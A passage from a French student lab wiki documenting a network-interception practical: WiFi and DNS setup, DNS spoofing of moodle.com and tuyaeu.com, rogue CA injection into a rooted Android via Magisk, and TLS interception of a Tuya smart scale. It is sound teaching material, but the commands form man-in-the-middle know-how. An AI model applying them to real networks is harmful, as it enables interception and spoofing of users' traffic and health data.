       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO redaction&lt;br /&gt;
&lt;br /&gt;
on fouille dans data/data/com.nedis.smartlife&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
